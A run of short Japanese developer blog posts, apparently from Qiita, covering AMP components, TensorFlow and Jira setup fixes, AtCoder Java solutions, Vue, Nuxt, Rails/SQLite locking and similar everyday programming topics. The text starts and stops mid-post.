AMPに対応するためにはいろいろ規則を守らなければなりませんが、それを守っていられない案件もあるでしょう。
しかし、AMPのための公式JavaScriptライブラリは、非AMP対応ページでももちろん**使用可能です**。

```HTML
<script async src="https://cdn.ampproject.org/v0.js"></script>
```

基本はこれだけです。あとはこれに含まれない拡張コンポーネントを使いたい場合にはそのスクリプトを読み込む必要があります。
現時点でも非常に多くのコンポーネントが提供されていて、UIライブラリとしても優秀です。
https://www.ampproject.org/ja/docs/reference/components

このライブラリを使ったからと言って、AMP対応を頑張らないといけないわけでは**ありません**。
formだって使っていいし、aタグにJavascriptを仕込むのも自由です。

なんだ、ただの**Google製のUIライブラリ**じゃないか。

# まずは amp-img から
これは有名だと思いますが、遅延読み込みができる画像表示コンポーネントです。
`<img>`の代わりとして使うだけで、

- 遅延読み込み
- レスポンシブ対応などの柔軟なレイアウト

が簡単に実現します。組み込みコンポーネントなので、上記の基本ライブラリをリンクし、

```HTML
<amp-img alt="A view of the sea"
  src="images/sea.jpg"
  width="900"
  height="675"
  layout="responsive">
</amp-img>
```
のように記述するだけです。
width, heightを記述し描画速度を高めた上で、レスポンシブ対応までできる方法ってなかなかないのではないでしょうか。
これをjQueryなどで実現しようとすると、jQueryを読み込み、lazyloadを読み込む必要があり遅いです。
もちろん遅延読み込みだけなら他にもjQuery依存のないものがたくさんありますが、AMPはそれだけではないのです。

# 便利コンポーネントたち
下記のようなコンポーネントが提供されています。いずれも、よく使うけどちょっと厄介なやつらです。
## カルーセル
https://www.ampproject.org/ja/docs/reference/components/amp-carousel
## アコーディオン
https://www.ampproject.org/ja/docs/reference/components/amp-accordion
## lightbox
https://www.ampproject.org/ja/docs/reference/components/amp-image-lightbox
## 他にもたくさんあります
https://ampbyexample.com/

# amp-fx-collection でアニメーション
これを推したくてこの記事を書きました。すごく強力です。

- 要素が見えると**ふわっとでてくる**やつ `amp-fx="fade-in"`
- **パララックス**効果 `amp-fx="parallax"`
- スクロールに応じて**透明度がかわる**やつ `amp-fx="fade-in-scroll"`
- スクロールすると**横からヒュッとでてくる**やつ `amp-fx="fly-in-right"` etc.
 
などが簡単に実現できます。
こちらに例がたくさんあるのでみてみてください。
https://ampbyexample.com/components/amp-fx-collection/
## 効果の重ねがけ
すごいのは、上記の**効果の重ねがけ**もできるところです。
効果の個別のライブラリを使っている場合には、競合したりして難しいところがありますが、AMPなら心配いりません。
例えば、

```HTML
<div amp-fx="fade-in fly-in-right" >
~
</div>
```
と書けば、ふわっとフェードインしつつ横からヒュッと出てくる、という効果が実現できます。
（ただし、一部、同時に使えない効果があります）

## 細かい調整もできる
じわ〜っと変わってほしいときか、
最初速くてだんだんゆっくりになるとか、
いろいろ好みがあるとおもいますが、かなり柔軟に指定できます。

- 効果の持続時間の指定 `data-duration="1000ms"`
- 効果のイージングをキーワードで指定 `data-easing="ease-in-out"` `data-easing="linear"` など
- 効果のイージングを**ベジェ曲線で指定** `data-easing="cubic-bezier(1.000, 0.005, 0.725, 0.055)"`
 
自分はベジェ曲線指定が好きなので、できて嬉しいです。

# 読み込みはasyncで
jQuery系のライブラリでは、asyncで読み込むとうまく動かないことが多い印象です。
ていうかjQuery自体、ふつうは同期で読み込むと思います。
https://jquery.com/
この公式サイトでも下記のように同期で読み込んでますね。（ていうか公式サイトなのにめちゃ古いバージョン使ってて驚く）

```HTML
<script src="https://code.jquery.com/jquery-1.11.3.js"></script>
```

もちろん、WEBサイトの描画をブロックしないためには、JavaScriptはなるべく非同期で読み込んだほうがよいです。
その点AMPは、拡張コンポーネントのみならず、基本のコンポーネントも**非同期読み込みを前提に作られている**ので、いつ読み込んでも大丈夫です。描画をブロックしません！

```HTML
<script async src="https://cdn.ampproject.org/v0.js"></script>
<script async custom-element="amp-fx-collection"
		src="https://cdn.ampproject.org/v0/amp-fx-collection-0.1.js"></script>
```

# 結論
というわけで、AMPのライブラリはとっても便利でパフォーマンスも良いです。
みんな使いましょう！
TensorFlowでCould not create cudnn handle: CUDNN_STATUS_INTERNAL_ERRORとエラーが出てしまった時の対処法

#環境
`Ubuntu 18.04`
`Geforce GTX 2070`
`cuda 10.0`
`cuDNN 7.4`
`Anaconda`
`Python 3.6`
`TensorFlow 1.13.1`

#対処法

```
   tf.Session()
```
　の箇所を

```
   session_config = tf.ConfigProto(gpu_options=tf.GPUOptions(allow_growth=True))
   tf.Session(config = session_config)
```
　として、`allow_growth=True`を追記。


#参考
https://github.com/tensorflow/tensorflow/issues/24496
Atlassian SDK でJira Softwareを利用するプラグイン開発環境の構築

Atlassian SDKでJIRA Softwareを利用したかったのでその手順メモを記載します。
ただ、参照ドキュメントのGetting startedは適宜更新されていますが、`Atlassian SDK`は2015年移行アップデートされていないので、最新版のJIRAへの対応は少し不安。

#### 前提条件

* デフォルトで利用されるJIRA Coreのバージョンは`7.13.0`とする
* 対応するJIRA Softwareのバージョンも`7.13.0`

#### JIRAのプラグイン開発環境構築手順

* 下記のサイトを参考（チュートリアル項目）にし、atlassian SDKを入れるとよい
  * https://developer.atlassian.com/server/framework/atlassian-sdk/set-up-the-atlassian-plugin-sdk-and-build-a-project/

* プラグインはJavaのOSGiフレームワークを利用している

#### JIRA Softwareモジュールの挿入

* 下記のサイトを参考にし、下記の手順を実施する
  * https://developer.atlassian.com/server/framework/atlassian-sdk/configure-amps-to-run-jira-core-with-additional-applications-installed/?_ga=2.230380444.1853859364.1554083378-1147696247.1547177275

* 作成したプラグインフォルダ（`myPlugin`ならばその直下に存在する）にある`pom.xml`に下記項目を追加する
  * `<applications> ～ </applications>`の個所
  * `<jira.software.version>7.13.0</jira.software.version>`の個所

```
[pom.xml]
                <configuration>
                    <productVersion>${jira.version}</productVersion>
                            (省略)
                    </instructions>

                    <applications>
                        <application>
                            <applicationKey>jira-software</applicationKey>
                            <version>${jira.software.version}</version>
                        </application>
                    </applications>

                </configuration>
```

```
[pom.xml]
    <properties>
        <jira.version>7.13.0</jira.version>
        <amps.version>8.0.0</amps.version>
        <jira.software.version>7.13.0</jira.software.version>
        <plugin.testrunner.version>2.0.1</plugin.testrunner.version>

```

#### JIRA の起動

* プラグインのフォルダに入り、下記コマンドを実行する

```
$ atlas-run
```

#### JIRA Softwareモジュールの確認

1. ログインする
2. プロジェクト作成の時に`カンバンソフトウェア開発`のものが出ていればOK（通常だと、表示もされず、選択もできない）

<img width="512" alt="VirtualBox_prodev_work_03_04_2019_11_44_29.png" src="https://qiita-image-store.s3.amazonaws.com/0/220327/609dc3f5-88e6-7b58-bcb7-46ac342c09b5.png">


<img width="512" alt="VirtualBox_prodev_work_03_04_2019_11_49_48.png" src="https://qiita-image-store.s3.amazonaws.com/0/220327/933f7502-d0bd-4f96-980a-7cca6b0c75d5.png">

以上。
ABC - 090- A&B&C

#AtCoder ABC 090 A&B&C
[AtCoder - 090](https://atcoder.jp/contests/abc090)

#A問題

 - {$i=j$}の位置の文字を出力

```java
	private void solveA() {
		Scanner scanner = null;

		String[] wkArray = new String[3];

		try {
			StringBuffer buff = new StringBuffer();
			scanner = new Scanner(System.in);
			for (int i = 0; i < 3; i++) {
				wkArray[i] = scanner.next();
			}

			for (int i = 0; i < 3; i++) {
				for (int j = 0; j < 3; j++) {
					if (i == j) {
						buff.append((wkArray[i].toCharArray())[j]);
					}
				}
			}

			System.out.println(buff.toString());

		} finally {
			if (scanner != null) {
				scanner.close();
			}
		}
	}
```

#B問題

 - 5桁の数なので、$[1][2][3][4][5]$とあらわしたとき
    - $[1]=[5],[2]=[4]$が成り立つ
    - $[3]$はどのような数字でも良い

```java
	private void solveB() {
		Scanner scanner = null;

		int startNum = 0;
		int endNum = 0;

		try {
			scanner = new Scanner(System.in);
			startNum = scanner.nextInt();
			endNum = scanner.nextInt();

			int count = 0;
			for (int i = startNum; i <= endNum; i++) {
				char[] num = Integer.toString(i).toCharArray();
				if (num[0] == num[4] && num[1] == num[3]) {
					count++;
				}
			}

			System.out.println(count);

		} finally {
			if (scanner != null) {
				scanner.close();
			}
		}
	}
```

#C問題

 - 以下が常に成り立つ
    - 偶数回返されるカードは最後の操作で表
    - 奇数回返されるカードは最後の操作で裏

 1. {$N=1,M=1$}の場合は$1$(必ず裏になる)
 2. {$N=1,M\neq1$}の場合は、両端の二つは表になる（両端は偶数回の操作/中は奇数回の操作が実行される）
 3. {$N\neq1,M=1$}の場合は、両端の二つは表になる（両端は偶数回の操作/中は奇数回の操作が実行される）
 4. {$N\neq1,M\neq1$}の場合は、2,4を組み合わせると`周囲1マスは表になり、中は裏になる`

```java
	private void solveC2() {
		Scanner scanner = null;
		long numN = 0;
		long numM = 0;

		try {
			scanner = new Scanner(System.in);
			numN = scanner.nextLong();
			numM = scanner.nextLong();

			if (numN == 1 && numM == 1) {
				System.out.println(1);
			} else if (numN == 1 && numM > 1) {
				int wkEdge = 2;
				long wkNaka = numM - wkEdge;
				System.out.println(wkNaka);
			} else if (numN > 1 && numM == 1) {
				int wkEdge = 2;
				long wkNaka = numN - wkEdge;
				System.out.println(wkNaka);
			} else {
				long wkNaka = (numN - 2) * (numM - 2);
				System.out.println(wkNaka);
			}

		} finally {
			if (scanner != null) {
				scanner.close();
			}
		}
	}

```
GoogleCloudFunctionsのローカルエミュレータが起動しない

## 問題

`functions`コマンドでローカルエミュレータが挙動がおかしくて3分くらいつまった。

## 原因

`bash`と`zsh`でコマンドがちがった。

`functions`コマンドはzshシェルに全シェル関数定義を表示するコマンドとして組み込まれている。



## 解決法

`functions`ではなく`functions-emulator`を使う

## 例

bash

```
$ functions start
$ functions deploy hogehoge --trigger-http
```

zsh

```
$ functions-emulator start
$ functions-emulator deploy hogehoge --trigger-http
```

## 余談

過去にGoogleCloudPlatformリポジトリにてissueとしてあがっており、実装の流れが確認できる。
> The functions command is a built-in in the ZSH shell. It prints out all the shell function definitions.

https://github.com/GoogleCloudPlatform/cloud-functions-emulator/issues/29
AutoItのExcel読み込みがうまくいかない場合(_Excel_RangeReadで読み込む形式を変える) 

`_Excel_RangeRead`で値を読み込む際に、読み込むセルが「標準」やユーザ定義の形式になっている場合、思った通りの値が読み込まれない場合があります。(数値で読み込んだつもりが日付になった等)

その際の解決策として、`_Excel_RangeRead`の第4引数を変えることで読みこみ形式を変える方法があります。

`_Excel_RangeRead`の第4引数は下記の選択肢があります。
※設定しないと設定値1がデフォルトになります。

|  設定値   | 取得形式 |
|--:|:------------------:|
| 1 |値|
| 2 |式|
| 3 |表示文字列|
| 4 |値(通貨、日付の形式を除く)|

そのため、単純に画面に表示されている通りの文字列をもってきたい場合は下記のようになります。

```vb:test.au3
#include <Excel.au3>

$oExcel = _Excel_Open()
$oWorkbook = _Excel_BookOpen($oExcel, @ScriptDir & "\test.xlsx")

; 表示されているテキストの読みこみ
Local $displayText = _Excel_RangeRead($oWorkbook, "Sheet1", "A1", 3);ここで読み込む形式を「3」に設定し表示文字列をそのまま読みこんでいる 

```
RailsでSQLite3を複数Thread/Processから同時WriteするときにBusyExceptionを回避

# TL;DR
`Rails`のDBに`SQLite3`を使ってしまうと，`Redis`等々で同時Writeすると`SQLite3::BusyException`が発生する．
`database.yml`の`timeout`も効かぬらしい．
仕方がないので自分でプロセス横断の排他Lockを実装する．

# やったこと
`ActiveRecord.save/.save!`でfalseが返ったり例外発生したりするので，成功するまでRetryするとかしても良かったかもしれませんが，あまり格好良くないので，排他Lock制御します．

`Ruby`の排他Lockの実装自体はぐぐるといっぱい出てくるので，それらを参考に↓のようなblockを排他実行させるClassを用意しました．

```Ruby:LockBlock.rb
require 'tmpdir'

class LockBlock
  class << self

    def locked(lock_file_name)
      File::open(File::join(Dir::tmpdir, lock_file_name), 'w') { |file|
        begin
          file.flock(File::LOCK_EX)
          yield
        ensure
          file.flock(File::LOCK_UN)
        end
      }
    end

  end
end
```

この排他Lockで守った状態で`ActiveRecord.save/.save!`するためのMethodを`ApplicationRecord`に用意します．

```Ruby:app/models/application_record.rb
def safe_save!
  LockBlock::locked(`db_lock`) {
    self.save!
  }
end
```

あとは各Modelの`.save/.save!`やってるところを`safe_save!`に置き換えれば完了．

# これでいいのか疑問
ひとまず ↑ の対応を入れて`Redis`使って平行動作させて様子見してますが，FileのLock/Unlockのアトミック性とかよくわかっておらず，これで100%保証されてるのかどうかが不明．．．

\# そもそも`SQLite3やめいとかは言わないように．．．
\# 最初はシンプル機能のお手軽Appになるはずやったんや．．．

---///
ABC - 089- A&B&C

#AtCoder ABC 089 A&B&C
[AtCoder - 089](https://atcoder.jp/contests/abc089)

#A問題

 - 3人以上のグループの数を最大化する
    - 4人以上のグループを作ると最大化できないので1グループの人数は3人まで

```java
	private void solveA() {
		Scanner scanner = null;
		int numN = 0;

		try {
			scanner = new Scanner(System.in);
			numN = scanner.nextInt();

			System.out.println(numN / 3);

		} finally {
			if (scanner != null) {
				scanner.close();
			}
		}
	}
```

#B問題

 - 入力値が何種類あるのか

```java
	private void solveB() {
		Scanner scanner = null;
		int numN = 0;

		try {
			scanner = new Scanner(System.in);
			numN = scanner.nextInt();

			Set<String> wkSet = new HashSet<String>();
			for (int i = 0; i < numN; i++) {
				wkSet.add(scanner.next());
			}

			System.out.println(wkSet.size() == 3 ? "Three" : "Four");

		} finally {
			if (scanner != null) {
				scanner.close();
			}
		}
	}

```

#C問題

 - `MARCH`から名前が始まる人それぞれについてカウントする
 - 組み合わせは下記10通りなので全て試す

||一人目|二人目|三人目|
|:-:|:-:|:-:|:-:|
|1|M|A|R|
|2|M|A|C|
|3|M|A|H|
|4|M|R|C|
|5|M|R|H|
|6|M|C|H|
|7|A|R|C|
|8|A|R|H|
|9|A|C|H|
|10|R|C|H|

```java
	private void solveC() {
		Scanner scanner = null;
		int numN = 0;

		try {
			scanner = new Scanner(System.in);
			numN = scanner.nextInt();

			String[] wk = new String[numN];

			Map<String, Long> wkMap = new HashMap<String, Long>();
			wkMap.put("M", (long) 0);
			wkMap.put("A", (long) 0);
			wkMap.put("R", (long) 0);
			wkMap.put("C", (long) 0);
			wkMap.put("H", (long) 0);
			for (int i = 0; i < wk.length; i++) {
				wk[i] = scanner.next();
				if (wk[i].startsWith("M")) {
					wkMap.put("M", wkMap.get("M") + 1);
				} else if (wk[i].startsWith("A")) {
					wkMap.put("A", wkMap.get("A") + 1);
				} else if (wk[i].startsWith("R")) {
					wkMap.put("R", wkMap.get("R") + 1);
				} else if (wk[i].startsWith("C")) {
					wkMap.put("C", wkMap.get("C") + 1);
				} else if (wk[i].startsWith("H")) {
					wkMap.put("H", wkMap.get("H") + 1);
				}
			}

			long res = 0;
			res += wkMap.get("M") * wkMap.get("A") * wkMap.get("R");
			res += wkMap.get("M") * wkMap.get("A") * wkMap.get("C");
			res += wkMap.get("M") * wkMap.get("A") * wkMap.get("H");

			res += wkMap.get("M") * wkMap.get("R") * wkMap.get("C");
			res += wkMap.get("M") * wkMap.get("R") * wkMap.get("H");

			res += wkMap.get("M") * wkMap.get("C") * wkMap.get("H");

			res += wkMap.get("A") * wkMap.get("R") * wkMap.get("C");
			res += wkMap.get("A") * wkMap.get("R") * wkMap.get("H");

			res += wkMap.get("A") * wkMap.get("C") * wkMap.get("H");

			res += wkMap.get("R") * wkMap.get("C") * wkMap.get("H");

			System.out.println(res);

		} finally {
			if (scanner != null) {
				scanner.close();
			}
		}
	}
```
v-bind を使って、カーソルをテキストに合わせると、現在時刻を表示する例  #Vue.js のチュートリアルを Codepen でやる (初心者向け)

# Tutorial

[Introduction — Vue.js](https://vuejs.org/v2/guide/)

# Codpen

[Vue.js Playground](https://codepen.io/yumainaura/pen/mgeVdq?editors=1010)

# HTML

- `v-bind:title="message` という書き方で HTML 的な title 属性の中身を、 js data の message に紐づけているみたいだ。

[リストレンダリング — Vue.js](https://jp.vuejs.org/v2/guide/list.html)

```html
<html>
    <head>
        <link rel="stylesheet" href="index.css">
        <script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script>
    </head>
    <body>
        
    <div id="app-2">
      <span v-bind:title="message">
        Hover your mouse over me for a few seconds
        to see my dynamically bound title!
      </span>
    </div>

        <script src="index.js"></script>
    </body>
</html>
```


# Js

```js
var app2 = new Vue({
  el: '#app-2',
  data: {
    message: 'You loaded this page on ' + new Date().toLocaleString()
  }
})
```

# View

- テキストにマウスカーソルを合わせると現在時刻が表示される
- この現在時刻が動的に更新されていくわけではないようだ
- 何度カーソルを当てたり外したりしても、値は変わらないようだ
- 確かにサンプルでもメッセージは「このページをロードした時刻」という表現になっている ( `You loaded this page on ` ) 

![image](https://user-images.githubusercontent.com/13635059/55446842-5e140280-55fc-11e9-8386-f45d998ca785.png)

![image](https://user-images.githubusercontent.com/13635059/55446897-8a2f8380-55fc-11e9-9e4c-64a655e87ebb.png)

# NOTE

- 現時点ではぼんやりとしか分からないが `v-model` という方式もあるらしい。

[【Vue】v-bind と v-model の違い - 山崎屋の技術メモ](https://www.shookuro.com/entry/2018/09/09/100908)

```
ざっくり
v-bind は Model の値を HTML コンポーネントに反映（出力）します。HTML コンポーネントの値が変わっても、Model の値は変わりません。Model から HTML への一方通行です。

一方、v-model は Model と View（HTML）の双方向に影響します。 HTML コンポーネントの値に変更があった場合、自動で Model の値を更新します。
```


# Original by Github issue

https://github.com/YumaInaura/YumaInaura/issues/1047








<!-- Update From Qiita API -->

# チャットメンバー募集


何か質問、悩み事、相談などあればLINEオープンチャットもご利用ください。

https://line.me/ti/g2/eEPltQ6Tzh3pYAZV8JXKZqc7PJ6L0rpm573dcQ





# Twitter


https://twitter.com/YumaInaura


<!-- Update From Qiita API -->
WordPress5.1.1で投稿が出来ない時の対処法

WordPress5.1.1にアップデートし、固定ページで新規投稿しようと思ったら

<img width="369" alt="スクリーンショット 2019-04-03 11.34.39.png" src="https://qiita-image-store.s3.amazonaws.com/0/252667/b4551258-9be8-c534-aa39-5241c3230198.png">

こんなエラーが出て作成が出来ない、、、
同じく投稿ページでも同じエラーが出ました。

#5.0以降エディタが変わったらしい
エディタがGurenbergというものに変わっているみたいで、どうやらそれのセキュリティ関係の影響のようです。

#プラグインで解決
プラグインで[Classic Editor](https://ja.wordpress.org/plugins/classic-editor/)をインストールし有効化

<img width="533" alt="スクリーンショット 2019-04-03 11.39.12.png" src="https://qiita-image-store.s3.amazonaws.com/0/252667/b33af9dd-0b79-aa64-4d6f-ec03e8dbe32f.png">


見慣れたエディタが使えるようになり、問題なく投稿もできるようになりました。
Unity(Windows)+Xcode(MacBook)での環境設定メモ

UnityでiPhoneアプリを作ろうとしたときに環境設定でいくつかはまったので、
個人的備忘録としてメモしておきます。

# インストール等
## 目的
　開発環境はWindows。
　コンパイルだけサブPCのMacBookで行う。

## 開発環境
- Windows PC + Unity 2018.3.11f1
- MacBook(OS10.14.4) + Xcode Ver10.2
- iPhone XS Max

## 遭遇したトラブルと対処
### 1) UnityのBuild SettingでiOSやAndroidを選択できない
![BuildSetting.jpg](https://qiita-image-store.s3.amazonaws.com/0/369480/c5cd9eae-bf1f-f4cc-0eb0-e81d37c096ba.jpeg)
正常なら上記のような画面になるはずが、特にチェックボックス等がなく「あなたのlicenseではこの機能は使えません」的なメッセージだけが出ている（エラー文メモし損ねました…)

　　**対処法：Help > Manage License からアカウントを登録する**

通常は初回起動時にユーザー登録画面が出るはずなんですが、これをスキップしたのかそれともだいぶ以前に一度インストールしたデータが残っていたためか上記事象になりました
個人用の無料プランでもiOSやAndroidのBuildは出来るはずなのに何故と無駄にはまることに。

### 2) "Unity-iPhone" requires a provisioning profile
1.Unity側でプロジェクトをBuild
2.Build結果保存先にある「Unity-iPhone.xcodeproj」をXcodeで開く
3.コンパイル
が基本的な流れ。コンパイル時に出たエラーが上記

　　**対処法：プロジェクト設定のGeneral > Signing > Automaticall manage signingにチェックを入れ、Teamの欄にアカウントを設定する**
※Team欄から何も選択できない場合は、適当にXcode初期設定の仕方をぐぐる

### 3) "Command PhaseScriptExecution failed with a nonzero exit code"
2)と同じくXcodeコンパイル時に出るエラー。
詳細を見ると"/User/~~/MapFileParser.sh:Permission denied」と出ている。
　　**対処法：WindowsからMacにビルド結果をコピーする際、./MapFileParser.shに実行権限を付与する**
Oracle　VM　VirtualBox　って ↓のVirtualBoxのタグ使用して良いのでしょうか？

お世話になっております。

件名の通りなのですが
Oracle　VM　VirtualBox　って ↓のVirtualBoxのタグ使用して良いのでしょうか？

検索して他の記事見た感じ違うようでしたのでこのタグを使用して記事書いて良いのか不安です……
ABC - 088- A&B&C

#AtCoder ABC 088 A&B&C
[AtCoder - 088](https://atcoder.jp/contests/abc088)

#A問題

 - 無限の500円硬貨なので、$mod \quad 500$のあまりを求める
 - あまりが手持ちの1円硬貨よりも多いか少ないか

```java
	private void solveA() {
		Scanner scanner = null;
		int numN = 0;
		int numA = 0;

		try {
			scanner = new Scanner(System.in);
			numN = scanner.nextInt();
			numA = scanner.nextInt();

			int res = numN % 500;

			System.out.println(res <= numA ? "Yes" : "No");

		} finally {
			if (scanner != null) {
				scanner.close();
			}
		}
	}
```

#B問題

 - 得点を最大化するには得点の大きいカードから交互に取っていけばよい

```java
	private void solveB() {
		Scanner scanner = null;
		int numN = 0;

		try {
			scanner = new Scanner(System.in);
			numN = scanner.nextInt();

			int[] wk = new int[numN];
			for (int i = 0; i < wk.length; i++) {
				wk[i] = scanner.nextInt();
			}

			Arrays.sort(wk);

			int alice = 0;
			int bob = 0;
			boolean convert = true;
			for (int i = wk.length - 1; i >= 0; i--) {
				if (convert) {
					alice += wk[i];
				} else {
					bob += wk[i];
				}
				convert = !convert;
			}

			System.out.println(alice - bob);

		} finally {
			if (scanner != null) {
				scanner.close();
			}
		}
	}
```

#C問題

 - 問題より
    - {$A_1,A_i$}={$A_1,A_3$} Aは3種類の数値
    - {$B_1,B_i$}={$B_1,B_3$} Bは3種類の数値
    - かつ、100以下の数値なので総当りを試す
 - 先ず、{$C_{11}=A_1+B_1$}/{$C_{12}=A_1+B_2$}/{$C_{13}=A_1+B_3$}なので
    - {$A_1=0$}として、{$B_1,B_2,B_3$}を求める
    - {$B_1,B_2,B_3$}から{$A_2,A_3$}を求める
    - {$C_{11} - C_{33}$}まで{$A_i+B_j$}が成り立つならOK。
    - 成り立たないなら{$A_1=1$}として再度やり直し（$A_1=0+1$をする)
    

```java
	private void solveC() {
		Scanner scanner = null;

		try {
			scanner = new Scanner(System.in);

			int[][] wk = new int[3][3];

			int max = 0;
			for (int i = 0; i < wk.length; i++) {
				for (int j = 0; j < wk[i].length; j++) {
					wk[i][j] = scanner.nextInt();
					max = Math.max(max, wk[i][j]);
				}
			}

			System.out.println(chkC(wk, max, 0) ? "Yes" : "No");

		} finally {
			if (scanner != null) {
				scanner.close();
			}
		}
	}

	private boolean chkC(int[][] wk, int max, int currentA) {
		if (currentA > max) {
			return false;
		}

		int[] aA = new int[3];
		int[] bA = new int[3];

		aA[0] = currentA;
		for (int j = 0; j < bA.length; j++) {
			bA[j] = wk[0][j] - currentA;
		}
		for (int i = 0; i < aA.length; i++) {
			aA[i] = wk[i][0] - bA[0];
		}
		boolean isMatch = true;
		outside: for (int i = 0; i < bA.length; i++) {
			for (int j = 0; j < bA.length; j++) {
				isMatch = wk[i][j] == aA[i] + bA[j];
				if (!isMatch) {
					break outside;
				}
			}
		}
		return isMatch ? true : chkC(wk, max, currentA + 1);
	}
```
Visual Studio 2019 になって地味にうれしいこと

# Visual Studio 2019 登場！

![2019-04-03_vs2019.png](https://qiita-image-store.s3.amazonaws.com/0/254044/3272011d-1129-a9bf-b424-7c91f91de7ce.png)

なんと、プロジェクト作成時の言語バージョンの規定値が『サポートされる最新の C# **マイナーバージョン**』になっている！

なぜ今までこうなっていなかったんだ的な機能なんですが、個人的にはとてもうれしい。
最新版を使いたい人にとっては、マイナーバージョンであれ公式リリースされたC#は常に取り込みたく、なぜ最新を選んだのに「C#7.0」で止まるんだろう、なんて常日頃思っていました。破壊的変更には慎重なはずのC#ですから、言語のマイナーバージョンアップくらいで既存のコードにダメージはほとんどないですし。

もちろん、`latestmajor` 設定にすれば今まで通りの設定になりますし、言語バージョンに対して保守的な場所では特定の C# バージョンを選ぶことができます。そんな場合はプロジェクト作成時に必ず設定を行いましょう。

### C#8.0は？

ちなみに、C#8.0 は未だにプレビューバージョンですが、これは既定路線。
[再帰パターン](https://qiita.com/muniel/items/ff58cf374851f67b34d7)、[非同期ストリーム](https://qiita.com/muniel/items/d91cd61b912e4c2938a9)あたりは問題なく動いているみたいですが、インタフェースの既定実装あたりはまだ搭載されてすらいなさそう。
null許容／非許容参照型は、表面だけ触ると動いているようにみえる（何か記事を書きたい）けれど、大規模なプロジェクトできちんと動くかが重要なので、その辺が詰められているのかはまだよく分かりません。
SPSS Modelerで複数ターミナルノードがある場合の処理の重複

SPSS Modelerで複数のターミナルノードを一度に実行することができます。その場合、ターミナルノードが分岐するまでの処理は、原則としては1回だけ行われます。

### 分岐するまでの処理は1回だけの実行

「現在のストリームを実行」で実行すると全てのターミナルノードが実行されます。
![image.png](https://qiita-image-store.s3.amazonaws.com/0/223763/eff2d64d-8a75-d429-f448-2f3235ae182b.png)


以下のように複数の実行中のターミナルノードが表示されます。

![image.png](https://qiita-image-store.s3.amazonaws.com/0/223763/bb2389c8-53df-4e99-31b7-aa463a39a894.png)

分岐する前のSELECTは一回しか行われていませんが、INSERTは2回行われています。
![image.png](https://qiita-image-store.s3.amazonaws.com/0/223763/62e89810-05ee-01e6-0035-b77e7acdec1a.png)

### 最後までSQLプッシュバックできる場合

なお、モデルもSQLプッシュバック対象にして、DBエクスポートノードまでプッシュバックできるようにしても、複数のターミナルノードを一度に実行する場合はSELECTまでで一度切れてしまい、INSERTは2回行います。
![image.png](https://qiita-image-store.s3.amazonaws.com/0/223763/680518ce-bd4f-20f1-0889-0c1412bbe50c.png)

モデルまでプッシュバックしていますが、DBエクスポートノードまでは紫になっておらず、プッシュバックしていません。
![image.png](https://qiita-image-store.s3.amazonaws.com/0/223763/7fb8bf26-76ba-81f8-af4e-64533738f175.png)

SELECT文が１つでINSERT文が２つ実行されています。
![image.png](https://qiita-image-store.s3.amazonaws.com/0/223763/398d6a4e-9bc6-07fd-8354-0837b9d154fd.png)

これが、部分実行で実行した場合動きが変わります。
![image.png](https://qiita-image-store.s3.amazonaws.com/0/223763/49de87bb-74bc-b62a-e381-e9eeb9024663.png)

DBエクスポートノードまで紫になってSQLプッシュバックされています。
![image.png](https://qiita-image-store.s3.amazonaws.com/0/223763/e3e441f2-c416-b332-406e-89d2f5c29844.png)

SELECT単体では実行されなくなり、INSERT-SELECTの文が一つだけ実行されるようになります。
![image.png](https://qiita-image-store.s3.amazonaws.com/0/223763/01da3c61-538e-200f-2c5b-f9d098142788.png)
Django簡単なアプリケションができるまで⑦

#おさらい
前回まではpost内容をブラウザに表示させるところまでやりました。

#Bootstrapを適用させ、ブラウザの画面サイズにページが付いてくる様にする
今のままだと画面サイズを変えた時に画像や本文が見えなくなってしまう可能性があります。

そこで[Bootstrap](https://getbootstrap.com/docs/4.3/getting-started/introduction/)を適用したいと思います。リンクを踏んでいただくとDocumentationに飛ぶ様になっています。

ページ左端にメニューがあると思いますので、ここから随時必要なパーツがあるところにアクセスしていきます。
最初にBootstrapを適用させるコードを追加します。Getting startedからCSSの欄に書いてある以下のコードをindex.htmlに追加します。

```css:
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
```

次にContents→imagesと飛び、Responsive imagesを見ます。
ここでは画面に合わせて画像を変えていくためにはimgタグの中にclass="img-fluid"を追加しろと書かれていますのでそうしましょう。

```html:
<img src=.... class="img-fluid" />
```

ここまでできたらブラウザを更新して、ブラウザの画面サイズを変えてみましょう。
うまく画像が付いてきているはずです。


ここまでで簡単なアプリケーションができるまでを終わります。
Nuxt.js でカウンターの作成

vue-cli のインストールはされているものとして、簡単なサンプルを作成します。

インストールの状況

>```text
$ vue --version
@vue/cli 4.3.1
$ npm list -g vue
/usr/lib
└─┬ @vue/cli@4.3.1
  └── vue@2.6.11
```

次のページを参考にしました。
[Nuxt.js アプリケーションをスクラッチから作る](https://ja.nuxtjs.org/guide/installation/#%E3%82%B9%E3%82%AF%E3%83%A9%E3%83%83%E3%83%81%E3%81%8B%E3%82%89%E5%A7%8B%E3%82%81%E3%82%8B)
[Nuxt.js使ってみた](https://qiita.com/_takeshi_24/items/224d00e5a026dbb76716)

1) 作業フォルダーの作成

```bash
mkdir proj01
cd proj01
mkdir pages
mkdir store
```

2) package.json の作成

```json:package.json
{
  "name": "my-app",
  "scripts": {
    "dev": "nuxt"
  }
}
```

3) nuxt のインストール

```bash
npm install --save nuxt
```

>package.json が書き換えられます。

4) 外部からアクセスできるように package.json を修正
　ekzemplaro.org をホストとすると、

```json:package.json
{
  "name": "my-app",
  "scripts": {
    "dev": "nuxt --hostname ekzemplaro.org"
  },
  "dependencies": {
    "nuxt": "^2.5.1"
  }
}
```

5) pages/index.vue の作成

```vue:pages/index.vue
<template>
  <section class="container">
    <div>
      <h1>カウンター</h1>
<blockquote>
      <p><h2>{{count}}</h2></p>
</blockquote>
      <button @click="addCount">アップ</button><p />
      <button @click="subtractCount">ダウン</button><p />
      <button @click="clearCount">クリア</button><p />
    </div>
<blockquote>
Apr/3/2019<p />
</blockquote>
  </section>
</template>

<script>
export default {
  computed: {
    count () { return this.$store.state.counter.count }
  },
  methods: {
    addCount (e) {
      this.$store.commit('counter/add')
    },
    subtractCount (e) {
      this.$store.commit('counter/subtract')
    },
    clearCount (e) {
      this.$store.commit('counter/clear')
    }
  }
}
</script>
```

6) store/counter.js の作成

```js:store/counter.js
export const state = () => ({
  count: 0
})

export const mutations = {
  add (state) {
